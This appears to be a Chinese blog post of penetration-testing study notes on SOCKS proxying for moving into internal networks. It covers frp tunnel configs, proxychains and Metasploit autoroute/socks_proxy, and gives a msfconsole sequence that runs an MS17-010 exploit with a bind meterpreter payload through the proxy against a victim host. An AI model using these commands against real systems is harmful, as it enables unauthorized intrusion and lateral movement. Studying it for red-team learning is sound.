内网走出之–socks代理|内网渗透学习(六)

内网走出之--socks代理|内网渗透学习(六)

今日是半摆半学的一天, 这里主要就是讲了使用几种方式进行socks代理的实现方法, 因为几乎都是之前常用的所以就写的比较简陋了。主要用到的是frp,msf-socks_proxy,proxifier这几个吧, 但是另外新学了下Linux下使用proxychains进行代理的方法.

什么是socks代理

image-20220929142914343

使用TCP协议传输数据, 因而不提供如传递ICMP信息之类的网络层服务。(注意这点, 这就是为什么我们挂了socks代理之后也还是不能直接ping同内网主机的原因)

SOCKS是一种网络传输协议, 主要用于客户端与外网服务器之间通讯的
根据OSI模型SOCKS是会话层的协议, 位于表示层与传输层之间。

被代理端与代理服务器通过SOCKS4/5代理协议进行通讯;

SOCKS4是对HTTP代理协议的加强, 它不仅代理HTTP协议, 而是对所有向外的连接进行代理, 没有协议限制;

SOCKS5对前一版本做了进一步扩展, 增加了支持UDP代理身份验证功能;
SOCKS5采用地址解析方案 ( addressing scheme )以支持域名和IPV6地址解析。

使用Socks代理需要配置下面信息:

  1. SOCKS服务器的IP地址
  2. SOCKS服务所在端口
  3. SOCKS服务是否需要身份验证

FRP

之前基本主要都是用frp, 视频也主要就是讲了这个, frp主要就是两种代理方式, 一种是转发另一种是映射

  1. 转发就是只用一个端口, 所有流量通过这一个端口交给跳板机, 让跳板机进行流量转发
  2. 映射就是端口一一映射了, 由客户端向服务器获取一个指定的一个端口, 然后指定这个公网的端口映射到内网某个主机ip的某个端口上

流量转发

服务端:

[commom]
bind_port = 7000
./frps -c frps.ini

客户端:

[commom]
server_addr = 
server_port = 7000

[socks5]
type = tcp
plugin = socks5
remote_port = 10088
./frpc -c frpc.ini

端口映射

# frpc.ini
[common]
server_addr = 
server_port = 7000

[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 6000

[range:test_tcp]
type = tcp
local_ip = 127.0.0.1
local_port = 6000-6006,6007
remote_port = 6000-6006,6007

[ssh]的配置就是将内网中127.0.0.1也就是本机的22端口映射到服务器的6000端口上, 访问代理服务器的6000就相当于访问frp客户端的22端口

[range:test_tcp]的配置则是直接将一批端口进行成片的映射, 没什么好说的

ProxyChains

这没什么好说的, 就是修改配置文件添加代理然后在执行命令的之前加上proxychains就行, 具体的使用示例可以参考下面的msf代理操作

Msf-socks_proxy模块

  1. 在meterpreter模块运行下面命令建立socks服务:

    run autoroute -s 192.168.22.0/24
    run autoroute -p

    run autoroute -s添加路由代理

    run autoroute -p查看当前已添加的路由代理

    之后如果这个代理的话如果访问的ip网段在192.168.22.0/24的ip就会自动使用这个session路由

  2. 回到msf命令行:

    执行命令后msf就会在后台开启一个监听1080端口的socks5代理服务

    use auxiliary/server/socks_proxy
    run
  3. 修改系统配置开启proxychains代理:

    vim /etc/prochains.conf  #添加一行socks5 127.0.0.1 1080
  4. 使用代理执行命令

    想要执行命令的时候流量经过proxychains的话直接在命令前面加上proxychains就行, 后面的内容和平时执行没有任何区别, 加上nmap,fscan,sqlmap,hydra

    proxychains command

解释一下, 这里的代理应该是auxiliary/server/socks_proxy模块会自动去添加路由规则的模块autoroute进行路由规则读取, 并且不同的路由在meterpreter设置, 从哪个sessions进入meterpreter添加的路由那么这个路由就会走对应的sessions会话进行代理

浏览器使用代理

浏览器想要使用代理的话直接使用msf服务ip1080作为代理即可

使用代理并且配合burp抓包

如果想要使用burp抓取流量包的话就需要设置二层代理了:

  1. 将浏览器的dialing修改为burp的127.0.0.1:8080
  2. 将系统代理设为msfip:1080

给蚁剑设置代理

想要使用蚁剑直接通过内网地址管理shell的话可以给蚁剑上代理即可, 其他的比如菜刀, 哥斯拉冰蝎这些也是直接在引用里面设置代理即可

image-20220929172212031

image-20220929172244445

msf使用代理进行攻击

这里遇到两种情况, 一种就是比如下面msf代理获取正向shell部分, 模块执行show options的时候是没有代理设置的, 但是其实已经只要执行了socks_proxy模块可以正常使用代理了。而另一种可以设置proxies参数的例如ms17-010攻击模块

msf代理获取正向shell

msf:

开启了session代理之后在msf中我们不需要进行别的设置操作, 如果我们设置的是在meterpreter打开的session中已添加有路由的ip的话就会自动解析配置代理的, 所以获取正向shell的时候就直接设置对应的内网ip即可

受害机:

其实如果这个受害机可以出网访问到我们的msf服务ip的话直接用反向就行了, 但是如果不能出网, 只能通过一台我们已经拿到的内网主机作为跳板代理, 然后在msf中通过正向请求经过跳板机向受害机请求获取shell

msf使用ms17-010进行代理攻击内网机器

msfconsole
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set proxies socks5:代理服务器ip:代理端口
set rhost 受害机
exploit -j

Proxifier

最近渗透和做红队一直都是用这个, 就不记笔记了

Others

  1. reGeorg
  2. EarthWorm(EW)
  3. 另外其实还有更多的代理可以使用, 但是够用就行, 工具基本都一样, 就不继续写太多了, 其他的可以直接搜就行

2022-09-29 22:45

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇